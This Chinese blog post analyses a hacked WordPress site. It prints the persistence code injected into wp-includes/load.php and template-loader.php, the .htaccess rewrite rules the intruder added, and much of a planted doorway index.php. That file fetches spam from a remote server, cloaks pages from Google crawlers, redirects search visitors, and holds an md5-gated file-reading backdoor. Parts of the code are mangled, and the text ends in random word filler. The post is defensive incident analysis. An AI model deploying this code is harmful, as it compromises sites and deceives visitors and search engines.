wordpress网站根目录出现不明文件夹localisationl

Author: 陌小雨Date: 2020-06-11View: 170

常在河边走,哪有不湿鞋,今天小雨碰到一个客户说自己的wordpress网站根目录下出现localisationl文件夹,里面包含了两个文件,即使删除了,一访问网站,还是会出现

经过排查发现wordpress的安装文件被修改了,所以建议他重新在官网下载wordpress,备份好图片、插件、数据库和模板,重新安装。

他的故事结束了,小雨的才刚刚开始。

经过全局搜索,发现是因为wordpress的wp-includes文件夹下面的load.php和template-loader.php被恶意修改了。

额外添加的代码如下:


//ck1bg
$nowFileDir =  'localisationl';
$nowHtacFile =  './.htaccess';
$nowMobanFile =  './localisationl/moban.html';
$nowIndexFile =  './localisationl/index.php';
$nowLogFile =  './localisationl/logs.txt';
$bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';

if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nowMobanFile)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
		@chmod($nowMobanFile,0755);
	}else{
		if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nowMobanFile);
			if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}
//ck1end

这也就是造成localisationl文件夹删除了后只要一访问网站立马又出现的原因。

还发现htaccess文件也被添加了两条伪静态

RewriteRule ^.*/(\d+)/$ localisationl/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-(\d+)/$ localisationl/index\.php?cat=$1&%{QUERY_STRING} [L]

不过客户的服务器是nginx,所以这个文件应该没有起作用,但如果是apache又会出现什么情况呢?

我们来一探究竟,这个localisationl文件夹下的index.php文件里到底是什么东东?他又做了什么?

展开代码

 FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#(.*)#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";		
		if(strstr($mapLogs,'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#') && file_exists('../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml')){
			echo $vals."
"; echo '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml successed
'; $gnumber++; continue; } for($i=0; $i<3; $i++){ $idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdNameNow = array(); if(preg_match($rs,$tempIdStr,$matchIdName)){ $tparrIdName = explode('^^',$matchIdName[1]); foreach($tparrIdName as $vs){ $tpArr = explode('^',$vs); if(count($tpArr) == 2){ $arrIdNameNow[$tpArr[0]] = $tpArr[1]; }elseif(count($tpArr) > 2){ $tpstr = ''; for($j=1; $j"; die(); } echo $vals."
"; if($gnumber == 1){ if(JDT == 1){ gsitemap($arrIdNameNow,2,1); }else{ gsitemap($arrIdNameNow,1,2); } }else{ if(JDT == 1){ gsitemap2($arrIdNameNow,2,1); }else{ gsitemap2($arrIdNameNow,1,2); } } unset($arrIdNameNow,$tempArr1,$tempArr2); } } if(isset($_GET["ghtac"]) && $_GET["ghtac"]){ $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $PreDir = ''; if(JDT == 1){ $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{ $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("$PreDir.htaccess")){ @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .''; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } if(1){ $r0 = '#(.*RewriteEngine On.*)#i'; $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; if(JDT == 0){ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; }else{ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; } if(preg_match($r0,$strhtt)){ $strhtt = preg_replace($r0,$rsut,$strhtt,1); }elseif(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); } } die("ghtac ok"); } if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r2='#.*/(\d+)'. JTHZ .'$#i'; $r3='#.*/(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; }else{ $r2='#.*-(\d+)'. JTHZ .'$#i'; $r3='#.*-(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid) $_GET['cat']= $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; } } function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} if(isset($_GET["id"])) $id = $_GET["id"]; else{ if(isset($_GET["cat"])){ $rqurl = $_GET["cat"]; $logFileName = './idlogs.txt'; if(file_exists($logFileName)){ $arrUrlId = unserialize(file_get_contents($logFileName)); }else{ $arrUrlId = array(); } if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ $id = $arrUrlId[$rqurl]; }else{ $arrUrlId[$rqurl] = getRandCId($rqurl); $id = $arrUrlId[$rqurl]; file_put_contents($logFileName,serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } }else{ $id = "665626"; //llq index id } } $resid = '#^\d+$#'; if(!preg_match($resid,$id)){ exit; } $id23 = $id; $siteid = MSID; $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; // $_SERVER["HTTP_REFERER"] = "google.com"; if(isset($_SERVER["HTTP_REFERER"])){ $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $iszz = isCrawler(); if(function_exists('gethostbyaddr')){ $hostname = @gethostbyaddr($localIp); $is_g_ip = preg_match("#google#i", "$hostname") === 1; }else{ $is_g_ip = 0; } if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){ $rsdom = '#^https?://www\.[^/]+/$#i'; $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; for($i=0;$i<2;$i++){ $domJump = curl_getjs_from_webpage($jumDom1,2); $domJump = trim($domJump); if(!preg_match($rsdom,$domJump)){ $domJump = curl_getjs_from_webpage($jumDom2,10); $domJump = trim($domJump); if(preg_match($rsdom,$domJump)) break; }else{ break; } } echo ''; die(); } } $fcontent = ''; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rsInfo = '#(.*)#si'; preg_match($rsInfo,$pInfoStr,$matchInfo); if(isset($matchInfo[1])){ $InFoStrArr = unserialize($matchInfo[1]); }else{ header("HTTP/1.1 404 Not Found");exit; } if(isset($InFoStrArr['frStr2'])){ $frStr2 = $InFoStrArr['frStr2']; $fr2Arr = unserialize($frStr2); } $frStr1 = $InFoStrArr['frStr1']; $fr1Arr = unserialize($frStr1); $Ptitle = $InFoStrArr['Ptitle']; $nowIdName = $InFoStrArr['nowIdName']; if(strstr($Ptitle,'#cat#')){ $tp_title_arr = explode('#cat#',$Ptitle); $Ptitle = $tp_title_arr[1]; } $pcatstr = $InFoStrArr['pcatstr']; $nowPreStr = $InFoStrArr['nowPreStr']; $nowNextStr = $InFoStrArr['nowNextStr']; if(strstr($pcatstr,'#cname#')){ $temparrI = explode('#cname#',$pcatstr); $catStr = $temparrI[0]; $catArr = explode('^',$catStr); $tparrCat = array(); $catArrII = array(); foreach($catArr as $vs){ $vs = str_replace('&','&',$vs); if(!isset($tparrCat[$vs])){ $tparrCat[$vs] = 1; $catArrII[] = $vs; } } $catArr = $catArrII; $mateStr = $temparrI[1]; if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = trim($temparrII[0]); if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } }else{ $catArr = array(); if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = $temparrII[0]; if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } } $BreadStr = getBreadcrum($Ptitle,$catArr,$id23); if(function_exists("preg_split")){ $PtitleArr = preg_split('/\s+/us', $Ptitle); }else{ $PtitleArr = explode(' ', $Ptitle); } $tpTitleArr = array(); foreach($PtitleArr as $vs){ $vs = trim($vs); if($vs){ $tpTitleArr[] = $vs; } } $numTitleArr = count($tpTitleArr); $randTkeyI = RANDNUMI % $numTitleArr; $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI); $randTkeyII = RANDNUMII % $numTitleArr; if($randTkeyI == $randTkeyII){ $randTkeyII = abs($randTkeyI-2); } $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII); $addTopStr = $BreadStr.PHP_EOL; $addTopStr .= "

{$Ptitle}

"; $addTopStr .= ''. implode(' ',$catArr) . " {$Ptitle}".PHP_EOL; $tpaddstr = '

'; if($pkeywordYuanShi) $tpaddstr .= $pkeywordYuanShi .','; $tpaddstr .= $Ptitle .','; $tpaddstr .= $createTitleI .','; $tpaddstr .= $pdescription; $tpaddstr .= $createTitleII .'.

'. PHP_EOL; $addTopStr .= $tpaddstr; if(isset($InFoStrArr['pdes'])){ $InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']); $addTopStr .= '

'.$InFoStrArr['pdes']."

".PHP_EOL; } if(isset($InFoStrArr['nowPimgArr'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach($tpImgArr as $tpimg){ $addTopStr .= $tpimg."
".PHP_EOL; } } $addTopStr .= "

{$Ptitle}

".PHP_EOL; $arrFlinks = array(); $fr1Strs = '
    '.PHP_EOL; foreach($fr1Arr as $key=>$vs){ $tpPid = $key; $tpFlink = getalink($tpPid,$vs); if(strstr($vs,'#cat#')){ $tp_name_arr = explode('#cat#',$vs); $vs = $tp_name_arr[1]; } $fr1Strs .= '
  • '.$vs.'
  • '.PHP_EOL; $arrFlinks[] = ''.$vs.''; } $fr1Strs .= '
'.PHP_EOL; if(isset($fr2Arr)){ $fr2Strs = '
    '.PHP_EOL; foreach($fr2Arr as $key=>$vs){ $tpPid = $key; $tpFlink = getalink($tpPid,$vs); if(strstr($vs,'#cat#')){ $tp_name_arr = explode('#cat#',$vs); $vs = $tp_name_arr[1]; } $fr2Strs .= '
  • '.$vs.'
  • '.PHP_EOL; } $fr2Strs .= '
'.PHP_EOL; } $addPdesStr = ''; $addPdesStr .= "

{$Ptitle}

".PHP_EOL; $addStrDes1 = ''; if(isset($InFoStrArr['nowDesNameArrStr'])){ $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']); $tempArrLen = count($tpDesNameArr) - 1; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDes1 .= $tpdesVs . '.'; // echo $addStrDes1; // exit; }else{ $addStrDes1 .= $tpdesVs . $nowtempfh; } $i++; } $addStrDes1 = '

'.$addStrDes1.'

'.PHP_EOL; } $addPdesStr .= $addStrDes1.PHP_EOL; $addStrDesII = ''; if(isset($InFoStrArr['fpNameStr'])){ $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ if(strstr($tpdesVs,'#cat#')){ $tp_name_arr = explode('#cat#',$tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = count($arrFlinks); $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ if(isset($arrFlinks[$nowTempFlag])) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tpDesNameArr = $tempDesNameArr; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDesII .= $tpdesVs . '.'; }else{ $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = '

'.$addStrDesII.'

'.PHP_EOL; } $addPdesStr .= "

{$Ptitle}

".PHP_EOL; $addPdesStr .= $addStrDesII.PHP_EOL; $addH3Str = "

{$Ptitle}

"; $thisPnameLink = ''.$nowIdName.''; $thisPnameLink2 = ''.$nowIdName.''; $thisTitleLink = ''.$Ptitle.''; $flagH2I = 1; $flagH2II = 1; $fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html")); $html = str_ireplace('#bbbtitsbbb#', $Ptitle. " {$thisdom}", $html); $html = str_ireplace('#bbbkeybbb#', $pkeyword, $html); $html = str_ireplace('#bbbdesbbb#', $pdescription, $html); $html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html); // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html); $html = str_ireplace('#bbb2content2bbb#', '', $html); $html = str_ireplace('#descontent#', $addPdesStr, $html); $html = str_replace('#link1#','',$html); $html = str_replace('#link2#','',$html); if($flagH2I){ $html = str_replace('#link3#',$addH3Str,$html); $flagH2I = 0; }else{ $html = str_replace('#link3#','',$html); } if($flagH2I){ $html = str_replace('#link4#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link4#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#link4#','',$html); } if($flagH2I){ $html = str_replace('#link5#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link5#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#link5#','',$html); } if($flagH2I){ $html = str_replace('#flink#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#flink#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#flink#','',$html); } if($flagH2I){ $html = str_replace('#Flink2#',$addH3Str,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#Flink2#',$addH3Str,$html); $flagH2II = 0; }else{ $html = str_replace('#Flink2#','',$html); } $footKey = "{$Ptitle}, {$pkeyword}".PHP_EOL; $html = str_replace(''; $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">'; $strBreads .= 'Home'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''.$vs.''; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; }else{ $calssBreadKey = KEYJG % $arrBreadNum; $classTop = $arrBread[$calssBreadKey]; $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; $breadTagkey = $domlen % 2; if($breadTagkey == 0){ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= 'Home'; $flagNum = 2; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''.$vs.''; $flagNum++; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; }else{ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= ''; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= ''; } } $strBreads .= ''.$Ptitle.''; $strBreads .= ''; $strBreads .= ''; } } return $strBreads; } function getCatLink($CatName,$id23){ global $arrnametime,$arrKeywz,$arr_word,$strRand; $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{ $filePres = $siteLink."/"; } $CatName = str_replace('&',' ',$CatName); $CatName = str_replace('&',' ',$CatName); if(JDT == 3){ $CatName = preg_replace('#\s+#i','-',$CatName); while(strstr($CatName,'--')) $CatName = str_replace('--','-',$CatName); $linkCenter = $CatName; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } $CatName = preg_replace('#\s+#i','-',$CatName); $CatName = str_replace('--','-',$CatName); $linkCenter = str_replace('--','-',$CatName).'-'.$id23; $linkCenter .= JTHZ; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } function getMapNum($bgNum,$mapnum){ $TempArr = array(); if($bgNum + $mapnum <= FNUM){ for($i=0;$i<$mapnum;$i++){ $TempArr[$i] = $bgNum + $i -1; } }else{ for($i=0;$i<$mapnum;$i++){ if($bgNum+$i > FNUM) $TempArr[$i] = $bgNum + $i -1 -FNUM; else $TempArr[$i] = $bgNum + $i -1; } } return $TempArr; } function getRandCId($rqurl){ global $thisdom; for($i=0;$i<3;$i++){ $idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl"; $tempIdStr = curl_get_from_webpage($idUrl,'',5); if(preg_match('#(\d+)#i',$tempIdStr,$matchId)){ return $matchId[1]; } } header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); exit; } /** * emotion excursion prohibit reliable. * alter drip issue sincere the. * approximate continuous deaf elaborate entitle equivalent gene ingredient jail naval nuclear prospect provision repetition route scandal sequence twist valley. * decay device discipline echo enclose exaggerate extinct horrible interpretation loosen male precaution remedy satellite shield slope stimulate stripe tendency ultimate waist. * burst coarse comparable earthquake exclusive faculty hatred inferior inhabitant legislation liable render tension triumph undergraduate vibrate. * Internet bunch code comment devise equivalent explore fate favorite guilty hint interpretation modify precaution rely rescue scan split temporary urgent video. * barrier harmony hollow precaution racial region skim slope virtual volunteer. * apparent auxiliary consistent duration focus forbid gaze mere mood petrol register significance videotape voluntary wax welfare. * appreciate architecture cope personnel reinforce remarkable scale trace vague virtual. * adequate advertisement flash geography illusion missile nonsense obstacle primitive reluctant security tide transplant vacant. * awful cargo dash expansion expend gallon gasoline invade liter moist nucleus passport precaution removal target textile timber via vitally wander. * absolute advertisement bacteria column compete cope drip fate glorious restraint shelter stripe temple yield. * adjust debate devise entitle expenditure extent hatred hint ingredient loose neutral oxygen phenomenon region religious render secure sensible shield slide stripe timber welfare withdraw wonder. * comedy frustrate gasoline gesture glory liable liberal portable suburb utilify utter. * adopt chaos earthquake infant offend optimistic prosperity ridid the. * appreciate maximum professional scratch shrink survey. * agent budget debate drift infect laser offend religious smash subway unique victim. * aware favorable inevitable jail liberal nuisance recruit shiver slender triumph. * essential petrol quotation removal restraint vague. * arouse budget comparative extent external favorite fax gallon genuine grateful herd hollow horrible index interpret negative nuisance reject rival signature snap target title triumph vote. * breadth duration encounter flock germ individual inevitable notify omit radical stable twist vary. * discrimination disturb interpret nonsense portion principle restrict snap spray subsequent tide transplant vacant weave welfare. * advertisement approach aware decade entitle explosion extreme laser peak presumably recruit resolve sequence tedious transform triangle triumph tropical violence. * accomplish evil exceedingly flee giant infinite laser profitable revenue sponsor strategic temporary valid. * abuse arouse bureau evil expenditure fertilizer glorious golf mainland mixture optional principal region relevant secure spit strategic suspicious tide vivid weld. * response agent aware awkward earthquake emotion episode gap globe jewel pursue trend vacant vote whatsoever. * appoint compete decline encounter equivalent explosion extinct fatigue index issue medium modify optional outstanding resemble respond reveal sequence shallow spill subt vertical yawn. * arise cope globe hatred inferior inhabitant knot leap liberal necessity passive previous substitute utilify. * appetite audio comparative competent consistent core explore focus gallery hatred impose mainland network partial personal powder promote spot substance torture tremendous usage volunteer wonder. * adjust agency calculate casual dash delicate expel fertilizer flee frown gaze giant jewel mood nylon oblige profitable rely stimulate universal witness. * collision passport retain shiver undergo. * blast distress distribute enclose enviroment expand favorable genuine obscure prompt transform vibrate virus. * automatic breadth deposit geography kneel prohibit reject sensitive spur subsequent valley wonder. * genuine global liable optimistic. * academic appeal dumb durable entry 